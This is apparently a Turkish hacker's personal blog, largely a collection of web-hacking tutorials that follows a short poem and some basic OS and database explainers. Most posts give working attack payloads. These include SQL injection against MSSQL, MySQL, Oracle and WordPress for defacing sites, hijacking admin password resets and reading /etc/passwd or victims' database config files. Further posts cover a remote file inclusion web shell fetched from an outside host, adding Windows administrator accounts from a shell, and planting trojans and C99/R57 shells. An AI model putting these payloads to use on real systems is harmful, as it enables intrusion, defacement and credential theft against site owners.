6.02.2013

İnsanlara kendimi zorla sevdiremeyeceğimi öğrendim.
Yapabileceğin tek şey sevilebilecek biri olmak.
Gerisi onlara kalmış...
Güven elde edebilmek için yılların gerektiğini,
Ama yok etmek için saniyelerin bile yettiğini öğrendim.
Önemli olanın hayatındaki eşyaların değil,
Hayattaki kişilerin olduğunu öğrendim.
Kendimi karşılaştırmak için başkalarının en iyi yaptıklarını değil,
Kendi en iyi yaptıklarımı kıstas almam gerektiğini öğrendim.
İnsanlar için olayların değil, onların daha önemli olduklarını öğrendim.
Her ne kadar ince kesersen kes,
Kestiğinin her zaman iki yüzü olacağını öğrendim.
Sevdiğin kişilere sevgi dolu sözler söylemen gerektiğini,
Belki bunun, onu son defa görüşün olabileceğini öğrendim.
Her ne kadar onu çok düşünsen de,
Yine de gidebileceğini öğrendim…
Kahramanların, yapılması gerekenleri ne pahasına olursa olsun,
Yapanlar olduğunu öğrendim.
İnsanların bana izin verdiğim biçimde davrandıklarını öğrendim.
Sinirlendiğimde gerçekten buna değse bile asla acımasız olmamam gerektiğini öğrendim.
Birisinin seni istediğin gibi sevmemesi,
Onun seni tüm benliğiyle sevmediği anlamına gelmediğini öğrendim.
Bir arkadaşın ne kadar iyi olursa olsun seni üzeceğini
Ve senin yine de onu affetmen gerektiğini öğrendim.
Bazen başkaları tarafından affedilmenin yetmediğini öğrendim.
Kendini de affetmeyi öğrenmelisin.
Kalbin ne kadar kırılmış olursa olsun,
Dünyanın senin acılarından dolayı durmayacağını öğrendim.
Her ne kadar verdiğim kadarını alamasamda her anlamda yine de şükretmeyi öğrendim.
Geçmişimiz ve durumumuzun olduğumuz kişiliği etkilediğini,
Ama olmamız gerekene karşı sorumlu olduğumuzu öğrendim.
İki kişinin tartışmasının, birbirlerini sevmedikleri anlamına gelmediğini öğrendim.
Ve tartışmadıkları zaman da sevdikleri anlamına gelmediğini…
Bazen kişiliğini eylemlerinin önüne koyman gerektiğini öğrendim.
İki kişinin tamamen aynı olan bir şeye baktıklarında bile,
Farklı şeyler görebildiklerini öğrendim.
Hayatlarında her zaman dürüst bir şekilde daha ileriye gitmek isteyen kişilerin,
Sonuçları önemsemediklerini öğrendim.
Seni doğru dürüst tanımayan kişilerin,
Hayatını birkaç saat içinde değiştirebileceklerini öğrendim.
Verebileceğin bir şey kalmadığında bile bir arkadaşın ağladığında,
Ona yardım edebilecek gücü bulabileceğini öğrendim.
Sevmeyi ve sevilmeyi öğrendim...
Ömür denilen şeyin, sanıldığından kısa olduğunu öğrendim.
Bir bardak su içmenin mutluluğunu hiçbir şeyle değişmemek gerektiğini öğrendim.
Acıların da sevinçler gibi insanı olgunlaştırdığını öğrendim.
İnsanın kalbinden hiç çıkmayacak kişiler olduğunu öğrendim.
Kalp kalbe karşı olmasa da her zaman,
Birini çok sevdiğinde, onun da bunu hissedeceğini öğrendim.
Dibini görmediğin suya dalmadığın gibi sonunu bilmediğin sevgiye de teslim olmamayı öğrendim...
'Belki bir gün...' diye beklemenin senin hayatından giden yıllara malolduğunu ve birgün onun sensiz ama gayet mutlu hayatıyla karşılaşmanın hiçte imkansız olmadığını;
Herkesin kendisini sevenlere çektirdiklerini bir gün muhakkak en çok sevdiklerinden göreceklerini öğrendim.
Bazen insan ne kadar yakınsa istediğine,
O denli uzak olabileceğini öğrendim.
Ve ne zaman vazgeçmeye kalksa akıl,
Yüreğin o kocaman haliyle karşısına dikilmesi gerektiğini öğrendim.
Yüreğimin sesini dinlemem gerektiğini,
Ve yüreğimin aslında ‘sen’ olduğunu öğrendim.
Gerçek aşkın ihaneti asla affetmeyeceğini öğrendim.
Bir insanı ne kadar çok seviyorsan, o kadar da kolay nefret edebileceğini öğrendim.
Her ne kadar nefret etsen bile asla ona kıyamayacağını öğrendim.
Tutkunun ötesinde sevenler bir kez ‘kendine iyi bak’ derler ve giderler.
Onlar bu acıyı bir kezden fazla kaldıramayacaklarını bilirler.
İşte bu kadar sevebilecek kadar büyümüşse yüreğin,
‘Onun’ her zaman iyiliğini isteyeceğini öğrendim…
Kendine iyi bak deyip gidenlerin vardır elbet geçerli bir nedeni,
Savaşmadıkları için kızarsın ama suçlayamazsın,
Savaşmışlarsa yenildikleri için kızarsın ama suçlayamazsın,
Yenildiğin için kızarsın ama suçlayamazsın…
Gerçek aşkın kendini asla suçlatmayacağını öğrendim.
Herkesin her şeyi senden çok bildiğini öğrendim.
Tecrübenin ne kadar önemli olduğunu ama ne yaparsan yap,
Karşındakinin kendi tecrübesinden başka kimseninkinden faydalanmayacağını,
Hayatın bir tek yaşanılarak öğrenileceğini öğrendim.
Herkesin mutlu olmak için başka bir yolu olduğunu
Kendi yolumu çizdiğimde öğrendim.
Bir annenin çocuğunun kötülüğünü asla istemeyeceğini öğrendim.
Hayattaki en değerli varlığın, en büyük destekçinin,
Seni hesapsız kitapsız en çok sevecek kişinin ‘anne’ olduğunu öğrendim.
Bir annenin kalbi kırıldığında bütün meleklerin ağladığını öğrendim.
İnsanın sevdiğinin kıymetini ancak onu kaybettiğinde anladığını öğrendim.
Bir ilişki bir kere bitmişse eğer bir daha toparlamanın çok zor olduğunu öğrendim.
Gözyaşımı kahkahaya çevirdiğinde,
Ağlayanı güldürebilmenin ağlayanla ağlamaktan daha değerli olduğunu öğrendim.
‘Sana ihtiyacım var, gel!’ diyebilmekmiş güçlü olmak,
Sana ‘git’ dediğimde öğrendim.
Hayatta ‘o olmazsa yaşayamam’ dememeyi,
Hiçbir şeye öyle körü körüne bağlanmamak gerektiğini öğrendim.
Çok sevmezsen çok acımayacağını,
Çok sahiplenmeyince çok ait de olmayacağını öğrendim.
Hiçbir şeyin olmazsa hayatta,
Kaybetmekten de korkmayacağını öğrendim.
Hayatta insana her şeyi yaptıracak sadece iki duygu olduğunu öğrendim:
Aşk ve kıskançlık…
Gerçek dostlukların sonradan kazanılanlar değil,çocukluktan gelenler olduğunu öğrendim.
Her şeyin ilkini paylaştığın,
Karşındakinin kayıtsız şartsız ve çıkarsız kabul ettiği zamanın dostluklarıydı bunlar…
Yine de bitmeyecek dostluk diye bir şeyin olmadığını öğrendim.
İnsan ömür boyu mutlu olmak istiyorsa, sevdiği işi yapması gerektiğini öğrendim.
Birine iyilik yap melek, birine doğruyu söyle köpek oluyorsun; iyilikler bir saniyede unutuluyor da kötülüklerin ömür boyu unutulmadığını öğrendim.
İnsanların bahaneler bulup sırtını sevdiklerine dönmemeleri gerektiğini öğrendim,
O bahanelerin hiçbir zaman bitmeyeceğini de…
Zaman geçer, her şey biter, işte o zaman pişmanlıkların başladığını öğrendim.
Zamanın nasıl geçtiğini anlayabilen, onun hızına yetişebilen,
Hiç kimsenin olmadığını öğrendim.
İnsanların saniyelere dur demesi gerektiğini,
Kaybedilenlerin asla geri gelmeyeceğini öğrendim.
Hayatta aslında her şeyin nasıl da boş olduğunu öğrendim.
İnsanların ömür boyu sahip olduğu her şeyi tek saniyede kaybedebileceğini öğrendim.
İnsan herkese yakıştırıyor da ölümü, bir tek kendisine yakıştıramıyor.
Ölüm bana çok uzak sanıyor.
Herkesin yaşlanmadan ölmeyeceğini zannettiğini öğrendim.
Küçücük bir bebeğin cansız bedenini gördüğümde,
Azrail’in yaşı hesaba katmadığını öğrendim.
Sevdiklerini kaybetmekten korkuyor da insan,
Kendisinin sevdiklerini terk edeceğini hiç düşünmüyor.
Oysa ölümün sadece bir adım ötede olduğunu öğrendim.
Birde hayatta çok şey bildiğimi zannettiğimi,
Oysa öğrenmenin asla sonu olmadığını öğrendim…

21.12.2012

İşletim Sistemi Nedir?

İşletim sistemi bilgisayar donanımını yöneten ve hükmeden yazılım bütünüdür. İşletim sistemi donanımları yönetip bizim bilgisayarda işlem yapmamızı sağlar. Bilgisayarda yapılan bütün işlemler aslında makine dilinde 0 ve 1 den ibarettir. İşletim sistemi bu yaptığımız işlemleri bilgisayar donanımın anlayacağı şekle getirir. Günümüzde en çok kullanılan işletim sistemleri: Microsoft Windows: Günümüzde en yaygın işletim sistemidir. Kullanıcı dostu olduğundan dolayı ve programların hepsi Windows işletim sisteminde çalıştığından tercih edilir. Linux: Açık kaynak kodlu bir yazılımdır. Genelde server olarak kullanılır. Windows işletim sisteminden daha performanslı çalışır. Güvenlik açıkları daha azdır ve kişiler kendi isteklerine göre işletim sistemini geliştirebilir. Mac OS X: Apple firmasının işletim sistemidir. Genel olarak grafik çalışmaları yapanların tercih ettiği bir işletim sistemidir. Grafik çalışmalarında en iyi performans veren işletim sistemidir. Donanım sistemi yüksek olduğundan dolayı pahallıdır ve bu yüzden çok fazla tercih edilmez. Android: Google firmasının Linux tabanından geliştirmiş olduğu mobil işletim sistemidir. iOS: Apple firmasının mobil işletim sisitemidir. MS Dos: Windows işletim sistemi öncesinde kullanılan işletim sistemidir. Fare kullanımı yoktur sadece klavye ile komut yazılarak işlem yapılır. İşletim Sistemi Tarihi: İlk Bilgisayar 1940 lı yıllarda askeri alanda kullanılmaya başlanmıştır. Özel amaçlı kullanılan delikli kartları kontrol için kullanıldı.

Veri tabanı yönetim sistemleri nedir?

Veri tabanı yönetim sistemi ingilizce olarak "Database Management Systems" olarak geçer .

 Veri tabanını bir bilgi kümesi olarak düşünebiliriz. Veri tabanın kullanılmasının sebebi kendi içeresinde olan veri tabanı motoru sayesinde bilgiye daha hızlı ulaşılmasıdır. Veri tabanında metin veya grafik saklayabiliriz.

Ama grafik (Resim) saklamak mantıklı değildir. Boyutunun büyük olması veri tabanını yorar ve böylece işlemci ve rame büyük yük gelir.

Temel SQL komutları:
Insert = veri girişi komutu
Update = veri düzenleme komutu
Delete = veri silme komutu Veritabanın

 Genel Olarak Yapısını oluşturan işlemler: Veri tabanı motoru Veri depolama altsistemi Veri sorgulama alt sistemi Veri tanımlama alt sistem Uygulama geliştirme alt sistemi Veri tabanı yönetim alt sistemi

En Çok Kullanılan Veritabanları:
MySQL
PostgreSQL
Oracle
Sybase
MsSQL
Berkeley
Firebird
Ms access

4.06.2012

Update'nin filtreli olduğu sitelerde declare kullanımı

Öncelikle herkese merhaba her zaman söze başladığım gibi bu seferde aynısını söylemeyeyim zaman yok diye.Zaman var ama o zamanlarda farklı işlerle uğraştığım için pek ilgilenemiyorum blogla.Zaten web güvenliği işinide eskisi gibi pek takip etmiyorum fırsat buldukça bir şeyler paylaşmayada devam edecem .Takip eden yoktur belki ama yinede bir gün birinin işine yarar diye blogu açık tutuyorum. Şimdi Mssql veritabanlı bir sistemde update filtreliyse o zaman declare kullanarak update yapmayı deneyebilirsiniz. http://localhost/url.asp?id=1 and 1=declare @something nvarchar(500) set @something=0x7570646174652B6E6577735F6974656D2B7365742B5469746C653D274861636B65642062792056657A69722E3034272D2D;exec @someting;-- update+news_item+set+Title='Hacked by Vezir.04'-- alttaki kodlar bunun şifrelenmiş hali. 7570646174652B6E6577735F6974656D2B7365742B5469746C653D274861636B65642062792056657A69722E3034272D2D update+tablo adi+set+kolon adi='Hacked by Vezir.04'-- bu kısma tablo kolon isimlerini yazıp hex ile şifreleyip yolluyoruz. Bir daha ki sefere görüşmek üzere.

4.03.2012

Post mssql

Post mssql yaparak update yaparak panele girmeyi anlattım.


http://www.4shared.com/rar/Ye0HjQUq/postmssqlinjection.html

27.02.2012

Wordpress şifre sıfırlama.

Merhaba bügün size wordpress'de şifre sıfırlamayı anlatacam.

Normalde Wordpress sql injection'da user_login,user_pass kolonlarından bilgileri çekeriz . Ama wordpress şifre algoritması olarak portable php password hashing framework kullandığı için bunu kırmak biraz zordur.

Bu şekilde md5 kırma yerine admin mailine aktivasyon kodu göndererek şifre sıfırlamayı nasıl yaparız.

örneğin ;

http://hedef.com/?p=-99999/**/union/**/select/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/from/**/wp_users/*

Şimdi bizim aktivasyon kodunu alabilmemiz için ilk önce şifreyi unuttum deyip admin mailine aktivasyon

kodunu yollatmamız lazım.

http://hedef.com/wp-login.php?action=lostpassword

burdan admin adını yada mailini yazıp aktivasyon kodunu yollamasını istiyoruz.

Ardından user_pass isimli kolon yerine user_activation_key kolonun yazıp aktivasyon kodunu alıyoruz

http://hedef.com/?p=-99999/**/union/**/select/**/concat(0x7c,user_login,0x7c,user_activation_key,0x7c)/**/from/**/wp_users/*




user_login : security

user_activation_key : CDFSAlCsTUvBDUMGHTcd

bu şekilde admin ve şifreyi değiştirmek için işimize yarayacak olan aktivasyon kodunu alıyoruz .

wp-login.php?action=rp&key=[Aktivasyon kodunu buraya ]&login=[Kullanici adinida buraya ]

wp-login.php?action=rp&key=CDFSAlCsTUvBDUMGHTcd&login=security

bu şekilde yaptığımızda yeni şifrenizi yazıp admin olarak giriş yapacaksınız.


Not: Eğer ki aktivasyon kodu yollamadan aktivasyon kodu çekmeye çalışırsanız daha önceden aktivasyon

kodu yollanmadığı için " Can not get Length of 'Column Data' " yazar bunun içinde öncelikle

şifremi unuttum diyip aktivasyon kodunu yollayın.

17.02.2012

Http ve Https Arasindaki Fark

Merhaba arkadaşlar uzun süredir pek ilgilenmiyorum .İş , okul derken pek zaman kalmıyor.
Bügün size aslında internete her girdiğimizde gördüğümüz ama ne işe yaradığını bilmediğimiz http ve https arasındaki farkı açıklamaya çalışacam .

Https (Hyper Text Transfer Protocol Secure) genel olarak banka sistemleri , kredi kartı ile alışveriş yapılan ve diğer güvenliğine önem veren firmalara tarafından yaygın olarak kullanılır . Çünkü https de giriş yaptığınızda bilgileriniz sizin ve giriş yaptığınız adres tarafından okunabilecek şekilde şifrelenir.Http de ise böyle bir şifreleme yoktur.Sizin giriş yaptığınız verilere başka kişiler ulaşabilir .

Ek olarak eklemek isteyeceğim bir şey daha var .Dün gece Ttnet borcunu ödemeyi unuttuğum için internet bağlanmaya çalıştığım zaman ttnet borç ödeme ekranına yönleniyordu . http://siteadi.com/ diye siteye bağlanmaya çalıştığım zaman ttnet borc ödeme ekranı çıkıyordu .http:// yerine https://siteadi.com/ diye girdiğim zaman ttnet borc ödeme ekranı çıkmadan rahatlıkla internete bağlanabiliyorsunuz .
Bir daha ki sefer görüşmek dileğiyle .

30.07.2011

Oracle'de püf noktalar

Oracle'de sql kasmak isteyenler için bir kaç püf noktaya değinecem ; oracle da veri tipleri uyuşmadığından null,null diye başlarsıniz.

from all_tables dersiniz information_schema.tables karşılığıdır

from kullanmadan select çekemezsin

all_tab_columns < bu da information_schema.columns karşılığı

table_name column_name kolon adları aynı


union select version from all_Tables veya union select user from all_Tables

diye deneme yapcaksıniz geri döndürüyosa char kolonu tutturmuşsunuz

yoksa blind kasarsıniz sonra tabloları kullanıcına göre çekmek istiyosaniz where owner=user diceksiniz

all_tables tan table_name çekersen yetki olan tüm tablo adlarını verir

ama sonra onları doğrudan from tablo şeklinde çekebilmeniz için çektiğiniz tablonun kendi kullanıcı adında olması lazm

yoksa owner ını da çekip başına misal from KULLANICI.TABLO yazarsıniz bi de oracle da tüm tablo kolon adları büyük harftir

sistem tabloları hariç

Oracle'de hex kullanılmaz chr (ascii tablosu) kullanilir


birleştirme yapmak için

mysql de concat()
mssql de +
oracle da ||
postgre de ||
kullanılır
birleştirme yapmak için
misal
union select AD||'|SOYAD from OGRENCI
misal
322 union select null,null,AD||' '||SOYAD||'|MESLEK||'|SIFRE,null,null,null,null,null,null from DURUM.PERSONEL where AD='YASİR'

mesela yazıyı charlayıp yollayacaksanız

char(42)+char(352)


bu şekilde ama url den get ile gönderdiğinde + lar boşluk algılanır o yüzden

char(42)%2bchar(352)

şeklinde yazacaksıniz %2b + nın karşılığıdır

Bügünlük bu kadar yeter Bir dahaki sefere de oracle'de like kullanımını anlatacam.

Agd_Scorp'da burda teşşekürlerimi iletiyorum.

3.07.2011

Joomla sql yedeklerine ulaşmak.

Bu yöntemle google üzerinden arama yaparak joomla kullanan sitelerin sql yedeklerine nasıl ulaşılır onu gösterecem.




Şekil 1:



Şekil 2:



Şekil 3:

25.11.2010

osCommerce Online Merchant

Merhaba arkadaşlar bügün size osCommerce Online Merchant sistemindeki açık için kodlanmış programın kulanımını anlatmaya çalıştım.Video yu izleyin anlamadığınız yer olursa söylersiniz

http://osc.eclass.tw/images/vezir.rar

18.10.2010

Hacking Anatomi

Herhangi bir sitede SQL tespit ettigimizi varsayalım ,
Aslında amacımız bu sitedekı SQL zaafiyatını kullanarak serverdaki diger sitenin
db’sine erismek. Burda MySQL’in uzaktan istege acık oldugunu + serverin Linux dagıtımlarından birini kullandıgını varsayıyorum.
Yapacagımız ilk is MySQL Sorgularını , kurbanın sitesinde servera isletmek olcaktır.

**********
ozn.php?id=1+and+1=1 yaptığımızda 1=1 olduğundan true döner

ozn.php?id=1+and+1=2 yaptığmızda ise 1=2 olmadığı için true dönmez yani yanlışlığı algılar ve hata verir şimdi kolon sayısını

öğreniyoruz

ozn.php?=1order+by+6--

*yaptık sayfa hata verdi


ozn.php?id=1+order+by+7–-

*bu şekil yaptık sayfa hata vermeden açıldı

* kolon sayısını ogrendik 7

ozn.php?id=1/**/union/**/select/**/0,1,2,3,4,5,6,7/*

3 4

* Kolon sayısınının esit oldugunu soyluyor.

ozn.php?id=-1+union+select+0,1,2,load_file(/etc/passwd),4,5,6,7/* < Linux All

*Linux da “userler”in yetkılerıne temelli sahibiz,

*Windows icin de aynı sey gecerlidir.



* Eger Makina Windows olsaydı..

boot.ini‘yi okuyabiliriz , engel varsa hexleriz.

select ‘c:/boot.ini’

select 0×633a2f626f6f742e696e69

Domainler ” C:/Inetpub ” burada.

ozn.php?id=-1+union+select+0,1,2,load_file(0×633a2f626f6f742e6 96e69),4,5,6,7/*



Blind Edebiliriz !

substring(load_file(’c:/boot.ini’),58)

” [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(2)\WINDOW S …”



Windows icinde asagıda goreceginiz teknıkler birebir aynıdır.. Extra uzerınde durmaya gerek yok.

Simdi konumuza geri donelım;

*Kullanıcı adı ve dizinlerin bulundugu yerı ogrenmem icin etcleri listelemem gerekli.
Eger bunu yapamazsanız servera hata verdirip ana dizin yolu ogrenebilirsiniz; ama bu sadece uzerinde calıstıgımız
site icin gecerli olacaktır.

Bu tip karakterlerin(’,-) serverda islemedigi durumlarda kurdugumuz sorguları hexleriz veya ascii koda cevirip sorguya
dahil ederiz.
Neden bu karakterle pasif olur peki ?
php.ini deki “magic_quotes_gpc” direktifinin “On” olmasıdır. Dolayısyla numerik dısında gelen sayıları ters slash’a “\,/”
cevirecektir.

Calısma mantıgı ,

(int) , intval(GET),POST,COOKİE) , addslashes() ile aynı isleve sahiptir.



- UYGULAMA -

/**/union/**/select/**/0,1,2,load_file(/etc/passwd),4,5,6,7/*

Eger engel varsa ;

> > ozn.php?=88888881 union select 0,1,2,unhex(hex(/etc/passwd),4,5,6,7

// Serverda ki tüm kullanıcı adları ve konumlandıgı klasörler karsımızda.

Target “ozn"

/home/ozn/httpdocs:
/home/site/httpdocs:



Amacımız ozn adlı kurbanın dbsini ele gecirmek , Bunun icin ozn adlı hedefin
db bilgilerinin saklandıgı dosyayı bulmak gereklı , genelde “config.php” , main.php , common.php olur
Uzamasın diye kısaltalım biraz “httpdocs” adlı klasorde “main.php” oldugunu varsayıyorum
soyle bir ıstekde bulunuyorum ;

/**/union+select+0,1,2,load_file(/home/victim2/httpdocs/main.php),4,5,6,7/*

* Burada gene hexleyecegız parantez icindekı karakterleri.

/**/union/**/select/**/0,1,2,load_file(0×2F686F6D652F76696374696D322F6874 7470646F63732F6D61696E2E706870),4,5,6,7/*



Syntax Hataları ve Çözümleri

Alternatif durumlar da goreve dahil ettigimiz MySQL katarları : “char” , “concat” , “blob” , “varchar” …

Serverda ” magic_quotes_gpc = On ” direktifi aktif oldugunda ;

ozn.php?id=88888881 union select 0,1,2,3,4,5,6,7

3 4

/home/victim2/httpdocs/main.php < Go to ascıı code converted

ozn.php?=88888881 union select 0,1,2,load_file(char(/home/ozn/httpdocs/main.php))),4,5,6,7

ozn.php?=88888881 union select 0,1,2,load_file(concat(char(47,104,111,109,101,47, 118,105,99,116,105,109,50,47,104,116,116,112,100,1 11,99,115,47,109,97,105,110,46,112,104,112)))),4,5 ,6,7




“information_schema” adlı databaseden satırları okuyarak tüm db isimleri ve kolon+satırları elde ederiz.

/**/union/**/select/**/0,1,2,concat(COLUMN_NAME,0×2020,TABLE_NAME,0×2020, TABLE_SCHEMA),4,5,6,7+from+information_schema.colu mns+limit+1,8/*

1 kayıttan baslıyoruz , 8. son kayıta kadar sorguluyoruz.

Example :

SELECT * FROM `users` LIMIT 1, 8



/**/union/**/select/**/0,1,2,concat(table_name),4,5,6,7+from+information_ schema.tables+where=’DB_NAME’+limit 1,8/*

Engel oldugunu varsayıyorum ,

union select 0,1,2 unhex((hex(table_name))) 4,5,6,7 from information_schema.tables where char(ascicode(DB_NAME)) limit 1,8



* Yukarıda load_file ile yaptıgım atağın sonucu geldı.

// Database Server
$forum_server = “localhost”; // Ben yerel sunucumu (Localhost) ele alıyorum.
// Database User Name
$forum_un = “root”;
// Database Password
$forum_pw = “123”;
// Database name
$forum_database = “SQL”;
?>

Serverdakı dizinleri okuyup ozn adlı userin veritabanı baglantı
bilgilerini ele gecirdik , yani anahtarı aldık..

Hatasız kul olmaz Hata varsa düzeltirsin :)

13.09.2010

Rfi açığını kapatma

Merhaba arkadaşlar herkes rfi'nin nasıl kulanıldığını bilir ama açığı nasıl kapatabiliriz onu bilmez bu yazıda rfi konusunda alınabilecek önlemler anlatılmıştır.

Eğer sitenizde GET ve POST komutlarını içeren satırlar kullanıyorsanız ve bu komutların yazımlarını
yanlış yaparsanız sitenizde geri dönüşü olmayan bir açık oluşabilir. Şimdi bu açığı kapatmanın
yollarına bakalım.

Bu kod $page girişi tam olarak arındırılmadığı için kullanılmamalıdır. $page input direkt olarak web sayfasına yönlendirilmiş ki bu yapılması gereken en son hatalardan biridir. Daima browserdan geçen her input (giriş) arındırılmalı. Kullanıcı web sayfasını ziyaret ettiğinde "files.php"yi ziyaret etmek için "File"a tıkladığında şöyle bir şey görünecek.
Files
$page = $_GET[page];
include($page);
?>

Bu koda istinaden aşağıdaki şekilde bir adres girersek browserımızdan neler olabilir?
http://localhost/index.php?page=http://google.com

Büyük ihtimalle $page değişkeninin sayfaya orjinal olarak konulduğu yerde, google.com ana sayfasını elde ederiz. Burası kodcunun canının yakılabileceği yerdir. Web sayfasında olabilen daha basit bir şeye bakalım. RFI exploitinin daha çabuk ve kirli kullanımı sizin avantajınızadır. Şimdi "test.php" isimli bir dosya oluşturalım ve aşağıdaki kodu içine koyup kaydedelim.
passthru($_GET[cmd]);
?>

Şimdi bu dosya, üzerinde RFI exploiti olan bir sayfaya dahil etmek için avantajınıza kullanabileceğiniz bir şeydir. PHP içindeki passthru() komutu çok tehlikelidir ve birçok host bunu "güvenlik nedenlerinden dolayı hizmet dışıdır" olarak alırlar. test.php içindeki bu kodla web sayfasına file inclusion exploiti de içeren şöyle bir istek gönderebiliriz
http://localhost/index.php?page=http://someevilhost.com/test.php?cmd=cat /etc/passwd

Örnek olarak sitenizde kullandığınız satırlardan biri; $ornek = $HTTP_GET_VARS[“ornek”]; diyelim. Bu satırda kullanmış olduğunuz tırnaklar dışarıdan gelen uyarılara karşı son derece duyarlıdır. Yani kişi isterse “ornek” kodlaması yerine başka bir sunucudan exploit çağırabilir. Örneğin; http://www.sizinsite.com/index.php?urun=http://www.exploitsitesi.com/exploit.pl bu şekilde bir adresleme kullanıldığı takdirde exploit sizin sunucunuza yüklenir. Bu açığı kolay bir yöntemle kapatabilirsiniz. Öncelikle yapmanız gereken kullanmış olduğunuz GET ve POST komutunun içeriği. Eğer GET yada POST komutu ile veritabanına bağlantı yapıyorsanız bu bağlantıyı komuttan önce tanımlayın;
$veriadi = “veriadi”.$id;

Daha sonra komutunuzu tırnak kullanmadan, başına dolar ($) koyarak sanki veritabanından çağırma yapıyorsunuz gibi kullanın;

3.08.2010

Update olmaya sitelerde char kulanımı

merhaba arkadaşlar bu yazımda tek harf update olan yada harf update olmayan sitelerde char'lama

yönteminden bahsedecem ;

Bir siteye girdiniz hata aldınız baktınız unclosed var tablo ve kolon adlarını çekerek update yapabilirsiniz

tablo ve kolon adlarını aldıktan sonra bakıyorsunuz update olmuyor işte o sırada harflerle update yi

engellemişlerdir ne yapabiliriz

siteye yazacağımızı yazıyı char layarak yani şifreleyerek siteye update yapabiliriz

mesela şu şekil

http.//localhost/haber.asp?id=1 +update+Urunler+set+Tur='Hacked By Vezir;--

bu şekil update olmadı ama tek harf yaptığınızda update oldu

http.//localhost/haber.asp?id=1 +update+Urunler+set+Tur='H;--

burda hacked by vezir kısmını char lıyarak yada hexe çevirerek update yapabilirsiniz

http.//localhost/haber.asp?id=1 +update+Urunler+set+Tur=0x3c68313e4861636b65642062792056657a69722e3034;--

http.//localhost/haber.asp?id=1 +update+Urunler+set+Tur=CHAR(86)+CHAR(101)%20CHAR(122)%20CHAR(105)%20CHAR(114)%20CHAR(46)%20CHAR(48)%20CHAR(52);--

bu şekilde update yapabilirsiniz

Injection Flaws

Injection Flaws

Dinamik SQL sorgularının kullanıldığı sistemlerde oluşabilecek bir açıktır.

Bir kullanıcı adı parola sınaması yapılan SQL cümleciğinde kullanılabilir.

Select MemberID

From Member

Where Username = '" + txtUsername.Text + "' and Password = '" + txtPassword.Text + "'"

Şeklinde bir SQL cümlesinin kullanıldığı bir sistemde aşağıdaki ifadeleri girelim

txtUsername.Text : ' or 1=1 --

txtPassword.Text : 123--

ifadesi aşağıdaki SQL cümlesinin çalıştırılmasını sağlar

Select MemberID

From Member

Where Username =or 1=1 -- ' and Password = ' " + txtPassword.Text + "'"-- ifadesi SQL Server için

yorum satırı anlamına geldi için çalıştırılmaz.

Where ifadesini inceleyelim :

Username = '' false döner, 1 = 1 ise true. Or karşılaştırmasında ise False or True’nun sonucu true’dur.

Dolayısıyla doğru kullanıcı adı parola girilmese dahi geriye tüm kayıtlar döner ve hacker ilk kaydın

yetkisi ile içeriye giriş yapmış olur.

28.06.2010

Win serverda root olma teknikleri

Merhaba arkaşlar win server la ilgili bir döküman yazmak istedim fazla
uzatmadan başlıyalım.bu yöntemi çogu kişi bilir eski bir yöntemdir bilmeyenler vardır diye düşünüp yayınlıyorum.

bir win servera fso destekli bir scriptle girdigimiz zaman cmd ile

uzaktan komut iLe user ekleyip ;

net user vezir 123456 /add

şekLinde sonra net user localgroup administrator vezir /add

şeklinde admin yetkisi verip server ip aLıp uzak masaüstü iLe bağlanıp istedigimizi yaparız bu bir yöntem ;

Eğer ki user ekeleyemezseniz
net user administrator /random

komutuyla mevcut kullanicilarin şifrelerini öğrenebilirsiniz ;

ama şöyle düşünelİm bir Nt servera girdik ve komut girme yetkimiz yok.

neLer yapabiliriz şimdi uzaktan komut verip user ekLeyemiyoruz ama komut çaLıştırabiLiyoruz.

o zaman hemen size bir puf noktası veriyorum. yazdığımız bir kodu .bat formatına çevirip uzaktan user ekliyecez

hemen başlıyalım bir txt açın ;

içine

@echo
net user vezir 123456 /add

yazın ve vezir.bat die kayıt edin çalıştırın ve denetim masasından kullanıcı hesapLarına baktığınız zaman

vezir adında bir user oluşturmuş olacak,

şimdi hemen bir txt açıyoruz içine

@echo
net user vezir 123456 /add
del vezir.bat

yazıyoruz ve vezir.bat die kaydediyoruz ve çalıştırıyoruz

ve komuttan sonra vezir.bat silinecegini göreceksiniz ve bu sayede fso içinde komut ekletip

useri ekletip aynı şekilde administrator yetkisi vererek dosyaları sildirip root düzeyine erişebilİrsiniz.

başka bir yöntem ; trojen ile buda basit bir olaydır arkadaşLar bir key bulun kendi serverınızı oluşturun.

ve win servera upload edin :] serverda dosyayı çaLıştırın ve trojan buluşacaktır. gidin proğramın clientini

açın ipden bağlanın ve client sayesinde proğram sayesinde pc ye bağlanın.


Bir daha ki dökümanda görüşmek dileği ile

KeyloggerLardan Korunmak

Açıklama : S.a Son Zamanlarda Bu Tür Keyloggerlar Her yerde Görülmeye Başladı Hatta NTVMSNBC Sitesine Bile Kod Koyarak Oraya Erişim Saglıyan İNTERNET Kullanıcılarına Büyük Tuzak Kurmuştular. Bu Keyloggerlar Kalvye'de Basılan Her Tuşu Kayıta Alıp "Hacker" veya Tuzak Kuran Kİşiye Gönderilir Tabi Bu Bilgiler ; Kredi Kartınız Olabilir , Sitenizin Şifreleri , Msn ŞifeLeriniz, Veya Daha Önemli Bİlgiler Olabilir.

Bu Program Bize Ne Kolaylıklar Saglıyacak ;

- Windows da yazdığımız yazıların kayıtlanmasını.
- Klavyeden bastığımız her tuşun kayıtlanmasını.
- Kopyala yapıştır yaparak girdiğimiz yazıların, şifrelerin kaydedilmesini.
- O anda açık olan penceremizin screenshot'unun(ekran görüntüsünün) alınmasını.
- Her türlü spy programlarının saldırısını.
- HARDWARE KEYLOGGER'ların yazılarımızı, şifrelerimizi loglamasını.
Program'ı İndirip Kurduktan Sonra Çalıştırılması İçin ;


PHP- Kodu:

+++



PrivacyKeyboard Açılacaktır Ondan Sonra BANKA , MSN , MAİL Şifrelerinizi buradan Girerek Daha Güvenli Olmaktadır.

Unutmayın İnternet %100 Güvenli Degildir Sadece Bu Önlemdir..


İndir

http://anti-keylogger.com/downloads/prvkbd.zip

Script çekme

Bir sitenin serverına girdiniz sitenin scripti hoşunuza gitti acaba nasıl bu scripti çekerim diyorsanız işte yapmanız gerekenler

C99 atıyoruz servera ve databaseye bağlanıyoruz.Oralarda DUMP yazan bi buton olucak ona basarız ve SQL dosyası PC'ye inmeye başlar..

R57 atıyoruz siteye ve komut satırımıza yani run command yazan yere alttaki komutu yazıyoruz.

Kod:

cd /İSTEDĞİNİZ SİTENİN UShome/SCRİPTİNİ ER ADI/public_html/;tar cvzf /home/KAYDETME DİZİN/public_html/yedek.tar.gz *

